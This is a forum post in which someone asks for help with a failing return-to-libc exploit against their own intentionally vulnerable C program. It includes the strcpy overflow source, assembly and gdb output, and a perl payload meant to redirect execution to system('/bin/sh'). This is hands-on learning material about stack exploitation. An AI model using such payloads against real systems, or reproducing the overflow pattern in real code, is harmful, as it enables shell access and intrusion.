Problem with simple return-to-libc exploit.
Im experimenting with some basic exploits and need some help.
Here is the standard issue code - exploit.c :
Code:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[5];
//buffer[0] = 1;
//buffer[5] = 0;
strcpy(buffer, argv[1]);
return 0;
}
It will be obvious what im trying to do, but ill explain anyway.
I want to craft a buffer and feed it to ./exploit so that the call to strcpy() will overwrite the stack frame belonging to main, and execution can be redirected to the system() call in libc.
Here are the steps I have taken.
I want system() to spawn me a shell so I need to pass it the argument "/bin/sh", which i've stored in an enviroment variable:
Quote:
$>export BINSH="/bin/sh"
And written a simple program to return the address of the variable in memory using the getenv() function :
Quote:
$ ./getenv BINSH
BINSH @ 0xbffffc86
To find the address of system() ive used used gdb:
Note that address space randomization has been turned off.
Quote:
$ gdb -q exploit
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run aaaa
Starting program: ........../exploit aaaa
Program exited normally.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ede030 <system>
(gdb) quit
To find out how much garbage to put at the start of the buffer I looked at the output from gcc - exploit.s :
Code:
.file "exploit.c"
.text
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
subl $36, %esp
movl 4(%ecx), %eax
addl $4, %eax
movl (%eax), %eax
movl %eax, 4(%esp)
leal -9(%ebp), %eax
movl %eax, (%esp)
call strcpy
movl $0, %eax
addl $36, %esp
popl %ecx
popl %ebp
leal -4(%ecx), %esp
ret
.size main, .-main
.ident "GCC: (GNU) 4.1.2 (Gentoo 4.1.2)"
.section .note.GNU-stack,"",@progbits
It looks as though buffer[0] is located 9 bytes from the saved frame pointer. I execute the exploit code with a crafted buffer as follows:
Quote:
$ ./exploit `perl -e 'print "A"x13 . "\x30\xe0\xed\xb7AAAA\x86\xfc\xff\xbf";'`
Segmentation fault
......nothing. No new shell.
Despite the fact I know that EIP is getting overwritten. According to gdb:
Quote:
$ gdb -q exploit
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x08048374 <main+0>: lea 0x4(%esp),%ecx
0x08048378 <main+4>: and $0xfffffff0,%esp
0x0804837b <main+7>: pushl 0xfffffffc(%ecx)
0x0804837e <main+10>: push %ebp
0x0804837f <main+11>: mov %esp,%ebp
0x08048381 <main+13>: push %ecx
0x08048382 <main+14>: sub $0x24,%esp
0x08048385 <main+17>: mov 0x4(%ecx),%eax
0x08048388 <main+20>: add $0x4,%eax
0x0804838b <main+23>: mov (%eax),%eax
0x0804838d <main+25>: mov %eax,0x4(%esp)
0x08048391 <main+29>: lea 0xfffffff7(%ebp),%eax
0x08048394 <main+32>: mov %eax,(%esp)
0x08048397 <main+35>: call 0x80482c0 <strcpy@plt>
0x0804839c <main+40>: mov $0x0,%eax
0x080483a1 <main+45>: add $0x24,%esp
0x080483a4 <main+48>: pop %ecx
0x080483a5 <main+49>: pop %ebp
0x080483a6 <main+50>: lea 0xfffffffc(%ecx),%esp
0x080483a9 <main+53>: ret
End of assembler dump.
(gdb) break *0x0804839c
Breakpoint 1 at 0x804839c
(gdb) run `perl -e 'print "A"x13 . "\x30\xe0\xed\xb7AAAA\x86\xfc\xff\xbf";'`
Starting program: ........./exploit `perl -e 'print "A"x13 . "\x30\xe0\xed\xb7AAAA\x86\xfc\xff\xbf";'`
Breakpoint 1, 0x0804839c in main ()
(gdb) info frame
Stack level 0, frame at 0xbffff230:
eip = 0x804839c in main; saved eip 0xb7ede030
Arglist at 0xbffff228, args:
Locals at 0xbffff228, Previous frame's sp is 0xfffffdb9
Saved registers:
ecx at 0xbffff224, ebp at 0xbffff228, eip at 0xbffff22c
(gdb)
So what am I doing wrong? Have I crafted the stack frame incorrectly? What am I missing?
Are you still reading?
Any insight or pointers in the right direction are greatly appreciated.
Here is some more information about my system that might be useful.
Quote:
$ uname -a
Linux localhost 2.6.20-gentoo-r8 #1 Wed Jul 11 01:17:44 GMT 2007 i686 Mobile AMD Sempron(tm) Processor 3400+ AuthenticAMD GNU/Linux
$ gcc --version
gcc (GCC) 4.1.2 (Gentoo 4.1.2)
[/QUOTE]
